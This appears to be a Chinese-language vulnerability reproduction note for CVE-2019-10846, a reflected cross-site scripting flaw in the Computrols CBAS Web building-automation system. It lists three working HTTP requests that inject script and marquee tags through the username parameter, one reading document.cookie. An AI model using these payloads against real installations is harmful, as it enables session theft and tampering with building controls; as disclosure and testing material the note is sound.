（CVE-2019-10846）Computrols CBAS Web反射型xss
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一、漏洞简介
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Computrols CBAS Web是美国Computrols公司的一套楼宇自动化系统

二、漏洞影响
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Computrols CBAS Web\<=19.0.0

三、复现过程
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### 1、

    POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1

    username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email

### 2、

    POST /cbas/index.php?m=auth&a=login HTTP/1.1

    username="><marquee>htmlinjection</marquee>&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62

### 3、

    GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1